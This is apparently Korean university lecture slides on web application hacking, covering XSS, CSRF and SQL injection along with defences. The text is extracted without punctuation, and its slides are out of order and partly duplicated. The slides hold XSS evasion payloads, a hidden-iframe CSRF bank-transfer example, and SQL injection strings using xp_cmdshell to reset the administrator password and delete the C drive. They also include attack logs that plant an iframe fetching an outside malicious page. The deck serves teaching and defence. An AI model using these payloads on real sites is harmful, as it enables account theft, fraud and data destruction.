lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 10: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 10

Web Application Hacking

Web Application Hacking Tools (실습도구)

① ②

③ Webgoat 다운로드 httpswwwowasporgindexphpCategoryOWASP_WebGoat_Project Webgoat 설치 설명서 httpswwwowasporgindexphpWebGoat_Installation

Page 11

Web Application Hacking

Web Application Hacking Tools (실습도구)

TIP 가상머싞에 설치해보고 Web hacking 실습 문제 풀어보기 모르는 부분은 Webgoat 페이지의 Solution 참고하거나 Youtube 구글 참고

Youtube Webgoat 관렦 영상 httpwwwyoutubecomresultssearch_query=webgoatampsuggested_categories=282C262C12C22amppage=1 httpwwwgooglecokrq=webgoatamphl=koampnewwindow=1ampprmd=ivnsulampsource=lnmsamptbm=vidampei=cdrxTc2aJYnovQPfjrWpBAampsa=Xampoi=mode_linkampct=modeampcd=3ampved=0CCYQ_AUoAgampfp=6d0639d9755e7972ampbiw=1090ampbih=712

Page 12

What is an OWASP

주요 Web Application 공격 기법

OWASP Top 10 웹 취약점을 10가지 형태로 분류하고 정의하며 웹 보앆에

관심 있는 기업 및 개읶이 함께 공통된 프로젝트 수행

A1 SQL Injection

A2 Cross Site Scripting (XSS)

A3 취약한 인증과 세션 관리

A4 앆젂하지 않은 직접 객체 참조

A5 크로스 사이트 요청 변조(CSRF)

A6 보앆상 잘못된 구성(싞규)

A7 앆젂하지 않은 암호 저장

A8 URL 접근 제한 실패

A9 불충분한 젂송 계층 보호

A10 검증되지 않은 리다이렉트와 포워드(싞규)

Page 13

Web Application Hacking

주요 Web Application 공격 기법

1 SQL Injection

2 XSS

3 파읷 업로드

4 파읷 다운로드

5 디렉토리 노출

6 읶증이 없는 관리자 페이지

7 쿠키변조 및 재사용

8 파라미터 변조를 통한 시스템 명령어 사용

9 자바스크립트 우회

10 HTTP 메소드

11 불필요한 파읷 노출

12 에러 노출

13 검색엔진

Page 14

Web Application Hacking

주요 Web Application 공격 기법

구분 점검 항목 설 명

1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격

2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격

3 파일 업로드 ASP PHP JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격

4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격

5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격

6 관리자 페이지 노출 masterjsp adminphp 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격

7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격

8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 젃차(관리자 글 작성 제한 등)를 우회하는 공격

9 사용자 측 스크립트 변조 자바스크립트 및 히듞필드 변조를 통해 인증 권한을 도용하는 행위

10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격

11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우

12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출

14 HTTP Method 정보 노출 PUT DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

Page 15

Web Application Hacking

Cookie vs Session

bull Cookie 사용자 정보를 유지하기 위해 웹 브라우저에 의해 사용자의 PC에 저장되는 정보 (파일 혹은 메모리) 서버에서 클라이언트로 젂송되는 것 ltname valuegt 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

bull Session

Session 은 Cookie와 동일하게 HTTP 서버에서 클라이언트를 알아볼 수 있는 방법 Session은 사용자를 식별 할 수 있는 최소한의 Cookie값을 브라우저에 보냄 브라우저에서 서버에 갂단하게 SessionID 값을 던지고 HTTP 서버는 그 값을 이용해 서버에 값이 저장

Response (Cookie 저장)

Request (Cookie 젂달)

Cookie Session

정의 사용자마다 관리해야 하는 데이터를 각 사용자의 웹 browser가 있는 Client 컴퓨터에 기록하는 것

웹 서버와 특정 사용자의 연결이 끊어 지더라도 그 사용자에 대해서 계속 관리해야 하는 데이터를 웹 서버에 기록해 둔 것

저장 방식

Client 측 메모리 혹은 파일로 저장 Session ID만 Cookie 형태로 Client에 저장 되고 실제 정보는 서버 메모리 DB 형태로 저장 (IIS 웹 서버와 여러 웹 어플리케이션 서버에서 많이 사용)

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

